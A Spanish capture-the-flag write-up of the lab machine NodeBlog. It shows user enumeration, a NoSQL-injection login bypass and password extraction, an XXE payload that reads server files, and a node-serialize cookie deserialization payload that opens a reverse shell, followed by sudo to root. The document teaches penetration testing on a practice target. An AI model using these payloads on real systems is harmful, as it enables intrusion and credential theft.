NodeBlog
7 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.139
- Fecha: 10 / 01 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.139 -p 22,5000
Nmap scan report for 10.10.11.139
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.37 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 5000 (HTTP).
Enumeración web
Si vamos a http://10.10.11.139:5000
, encontraremos un blog montado sobre Express.js (un framework web de Node.js):
Aquí podemos tratar de iniciar sesión:
Lo primero que podemos probar son credenciales por defecto. Durante el proceso, vemos que el formulario es vulnerable a enumeración de usuarios:
$ curl 10.10.11.139:5000/login -sd 'user=asdf&password=asdf' | grep Invalid
Invalid Username
$ curl 10.10.11.139:5000/login -sd 'user=admin&password=asdf' | grep Invalid
Invalid Password
Y por tanto, sabemos que admin
es un usuario válido. Entonces, podemos realizar un ataque de fuerza bruta para enumerar más usuarios válidos:
$ ffuf -w $WORDLISTS/names.txt -u http://10.10.11.139:5000/login -d 'user=FUZZ&password=x' -mr 'Invalid Password' -H 'Content-Type: application/x-www-form-urlencoded'
admin [Status: 200, Size: 1040, Words: 151, Lines: 30]
Pero parece que no hay más usuarios comunes a parte de admin
.
Encontrando una inyección NoSQL
Después de tratar de inyectar código SQL y probar contraseñas comunes, uno puede pensar que el servidor está utilizando MongoDB (stack MEAN: MongoDB, Express.js, Angular, Node.js). Por tanto, podemos buscar payloads de inyección NoSQL.
PayloadsAllTheThings tiene muchos payloads, algunos con application/x-www-form-urlencoded
y otros utilizando application/json
.
Podemos probar con application/x-www-form-urlencoded
(como en los comandos anteriores con curl
), pero ninguno funciona. Cambiemos entonces el tipo de contenido y verifiquemos que todo funciona bien:
$ curl 10.10.11.139:5000/login -sd '{"user":"admin","password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
Perfecto, ahora podemos añadir operadores de MongoDB:
$ curl 10.10.11.139:5000/login -sd '{"user":{"$eq":"admin"},"password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
$ curl 10.10.11.139:5000/login -sd '{"user":{"$ne":"admin"},"password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Username
$ curl 10.10.11.139:5000/login -sd '{"user":{"$ne":"asdf"},"password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
Utilizando el siguiente payload, podemos saltarnos el formulario de inicio de sesión y obtener una cookie de sesión válida:
$ curl 10.10.11.139:5000/login -isd '{"user":"admin","password":{"$regex":""}}' -H 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: auth=%7B%22user%22%3A%22admin%,%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D; Max-Age=900; Path=/; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 2589
ETag: W/"a1d-JGrC4mhnlEApoTWWPEhYOlLd+UA"
Date:
Connection: keep-alive
Keep-Alive: timeout=5
...
Además, podemos extraer la contraseña de admin
utilizando el operador $regex
. Para extraer la longitud de la contraseña, podemos incrementar el número hasta que coincida (no hay salida en el segundo comando ya que no hay mensaje de error):
$ curl 10.10.11.139:5000/login -sd '{"user":"admin","password":{"$regex":"^.{24}$"}}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
$ curl 10.10.11.139:5000/login -sd '{"user":"admin","password":{"$regex":"^.{25}$"}}' -H 'Content-Type: application/json' | grep Invalid
Después, podemos añadir caracteres hasta que la expresión regular coincida y finalmente obtener la contraseña. Para automatizar el proceso, utilicé un script en Bash llamado nosqli.sh
. El script obtiene la longitud de la contraseña y luego la extrae (explicación detallada aquí).
$ bash nosqli.sh
Password length: 25
Password: IppsecSaysPleaseSubscribe
Encontrando una inyección XXE
Utilizando la contraseña obtenida, podemos iniciar sesión correctamente:
Aquí, podemos crear un nuevo artículo. No obstante, al tratar de guardarlo, tenemos un error:
Esto será interesante más adelante, porque conocemos ya la ruta absoluta donde está el código de la aplicación web (/opt/blog
).
Existe otra funcionalidad que es subir un artículo. Podemos añadir un archivo cualquiera y obtener un error de XML:
Entonces, necesitamos subir un documento XML válido, como este:
<?xml version="1.0"?>
<post>
<title>ASDF</title>
<description></description>
<markdown></markdown>
</post>
Y vemos que el servidor lo analiza y rellena los campos del formulario para editar el artículo:
En este punto, podemos efectuar una inyección de Entidad Externa XML (XXE), esto es, añadir una entidad que tome el contenido de un archivo y lo ponga en un elemento del documento XML. Un simple payload XXE sería el siguiente:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<post>
<title>ASDF</title>
<description>&xxe;</description>
<markdown></markdown>
</post>
Si subimos este documento, obtenemos el archivo /etc/passwd
en el campo de descripción:
Con esta vulnerabilidad, podemos leer archivos del servidor si conocemos la ruta absoluta. Para explotarla, utilicé un script en Python llamado xxe.py
(explicación detallada aquí).
Tenemos la ruta base del servidor (/opt/blog
), mostrada en un mensaje de error. El archivo principal de una aplicación de Node.js suele ser: app.js
, main.js
, script.js
, index.js
o server.js
. Podemos probar estos archivos y ver que server.js
existe:
$ pyhton3 xxe.py /opt/blog/server.js
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser')
const crypto = require('crypto')
const cookie_secret = 'UHC-SecretCookie'
// const session = require('express-session')
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json())
app.use(cookieParser())
// app.use(session({ secret: 'UHC-SecretKey-123' }))
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex'))) {
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
Podríamos extraer más códigos fuente a partir del principal (por ejemplo, /opt/blog/routes/login.js
, /opt/blog/routes/articles.js
, /opt/blog/models/user.js
y /opt/blog/models/article.js
). Sin embargo, con server.js
basta para continuar.
Encontrando una deserialización insegura
El archivo JavaScript anterior utiliza node-serialize
, que es un módulo de Node.js utilizado para serializar y deserializar documentos JSON. Se sabe que este módulo es vulnerable a ejecución remota de comandos (RCE) mediante el método unserialize
. Podemos encontrar más información al respecto y una sencilla prueba de concepto en snyk.io (CVE-2017-5941). Necesitamos introducir un payload como este:
const serialize = require('node-serialize')
const payload = `{"rce":"_$$ND_FUNC$$_function() { require('child_process').exec('ls') }()"}`
serialize.unserialize(payload)
El método unserialize
se utiliza sobre la cookie de sesión para verificar que la firma es correcta. Por tanto, podemos añadir el payload a la cookie, ya que está en formato JSON (con codificación URL).
Para esta tarea, desarrollé un script en Node.js que se autentica y modifica la cookie de sesión para introducir el payload y obtener una reverse shell. El script se llama unserialize_rce.js
(explicación detallada aquí).
Utilizando este script, somos capaces de acceder a la máquina como admin
:
$ node unserialize_rce.js 10.10.17.44 4444
[+] Login successful
[+] RCE completed
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.139.
Ncat: Connection from 10.10.11.139:55018.
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
admin@nodeblog:/opt/blog$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
admin@nodeblog:/opt/blog$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
admin@nodeblog:/opt/blog$ export TERM=xterm
admin@nodeblog:/opt/blog$ export SHELL=bash
admin@nodeblog:/opt/blog$ stty rows 50 columns 158
Escalada de privilegios
Una vez como admin
, podemos ir a su directorio personal y capturar la flag user.txt
:
admin@nodeblog:/opt/blog$ cd
admin@nodeblog:~$ cat user.txt
7d30843b9570b5efd388820002409de2
Además, el archivo .bash_history
no está redirigido a /dev/null
, por lo que podemos ver los últimos comandos ejecutados por admin
:
admin@nodeblog:~$ ls -la --time-style=+
total 36
drwxrwxrwx 1 admin admin 220 .
drwxr-xr-x 1 root root 10 ..
-rw------- 1 admin admin 1863 .bash_history
-rw-r--r-- 1 admin admin 220 .bash_logout
-rw-r--r-- 1 admin admin 3771 .bashrc
drwx------ 1 admin admin 40 .cache
-rw------- 1 admin admin 383 .dbshell
-rw------- 1 admin admin 0 .mongorc.js
drwxrwxr-x 1 admin admin 158 .pm2
-rw-r--r-- 1 admin admin 807 .profile
-rw-r--r-- 1 admin admin 0 .sudo_as_admin_successful
-rw------- 1 admin admin 10950 .viminfo
-rw-r--r-- 1 root root 33 user.txt
admin@nodeblog:~$ tail .bash_history
node server.js
vi server.js
node server.js
vi server.js
node server.js
vi server.js
node server.js
vi server.js
node server.js
sudo su
Como está utilizando sudo su
, podemos deducir que este usuario puede ser root
utilizando sudo
. Si utilizamos la contraseña extraída anteriormente de MongoDB, conseguimos ser root
:
admin@nodeblog:~$ sudo su
[sudo] password for admin:
root@nodeblog:/home/admin# cd
root@nodeblog:~# cat root.txt
5ebff8f607158b4d1b78427af94f5358